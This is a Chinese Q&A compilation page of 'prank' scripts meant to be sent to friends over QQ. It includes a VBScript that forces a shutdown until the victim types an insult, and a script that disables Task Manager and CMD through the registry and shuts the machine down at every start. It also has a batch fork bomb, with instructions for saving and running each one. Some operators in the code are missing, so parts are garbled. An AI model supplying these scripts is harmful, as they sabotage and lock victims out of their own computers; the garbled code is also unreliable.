本文目录一览：
- 1、寻找一个恶搞软件！在qq上发给人家一个信息，然后一打开全屏都是恐怖的东西，好像还关不掉.
- 2、整人代码
- 3、求校内网血腥代码 让人看了不敢再来的那种 贼血腥的
- 4、qq空间恐怖代码大全
- 5、求恐怖的整人小程序
- 6、求QQ恐怖代码？
寻找一个恶搞软件！在qq上发给人家一个信息，然后一打开全屏都是恐怖的东西，好像还关不掉.
代码如下(要复制完整哦)
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
把上面的文字复制到记事本内。另存为名字随便你起记住后面的一定要加 .vbe
整人代码
代码如下：set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)0 and pipe.count=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系统将在" 60-i "秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，
此代码的威力：
1：开机就强制自动关机
2：cmd命令打不开
3：结束任务不管用
4：F8安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，
求校内网血腥代码 让人看了不敢再来的那种 贼血腥的
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);
这段代码做进去.保证以后没多少人敢上你的站了.呵呵
注:这可不是血腥的代码啊,对电脑也无害.很安全
你直接复制到地址栏按回车看看效果.
如果页面内的图片多,那效果最好
qq空间恐怖代码大全
首先创个记事本，然后打开，输入指令
:start
start
goto start
让后把名字最后改成 XXX.bat
如果改了之后不行的话，就打开“我的电脑” 工具 文件夹选项 查看 去掉“隐藏已知文件类型扩展名”前对勾， 再改名试试
求恐怖的整人小程序
该程序会截取当前电脑画面，然后全屏显示，你双击第一次它会警告你说你已经中毒，然后出现黑屏，再次双击会告诉你“sb上当了吧”，然后退出程序！哈哈。。很整人的！你自己运行了就知道了，决不损坏你的电脑！
你需要做的很简单，只要两个窗体就可以，form1和form2的borderstyle都设置成0，autoredraw属性都设置成true，form2的windowstate设置成2，backcolor设置成黑色就可以了，然后复制下面代码：
form1代码：
Option Explicit
Dim screenhwnd, screendc
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long '以下API函数可以通过VB自带的API文本浏览器复制而来。
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long
Private Sub Form_DblClick()
MsgBox "电脑中了病毒，请重装系统！", vbCritical, "严重警告"
Unload Me
Form2.Show
End Sub
Private Sub Form_Load()
Me.Width = Screen.Width
Me.Height = Screen.Height
Me.Left = 0
Me.Top = 0
Me.ZOrder 0
App.TaskVisible = False
screenhwnd = GetDesktopWindow()
screendc = GetDC(screenhwnd)
BitBlt Me.hdc, 0, 0, Me.Width, Me.Height, screendc, 0, 0, HCC0020
ReleaseDC screenhwnd, screendc
End Sub
form2代码：
Private Sub Form_DblClick()
MsgBox "sb上当了吧，按‘确定’退出", , "玩笑"
End
End Sub
这个比较整人的，VB程序。
求QQ恐怖代码？
非常恐怖的QQ空间FLASH开场效果+导航代码.
减小字体
增大字体.
非常恐怖的QQ空间FLASH开场效果，心理承受能力差的人可不要用哦！打开QQ空间便会开始一
...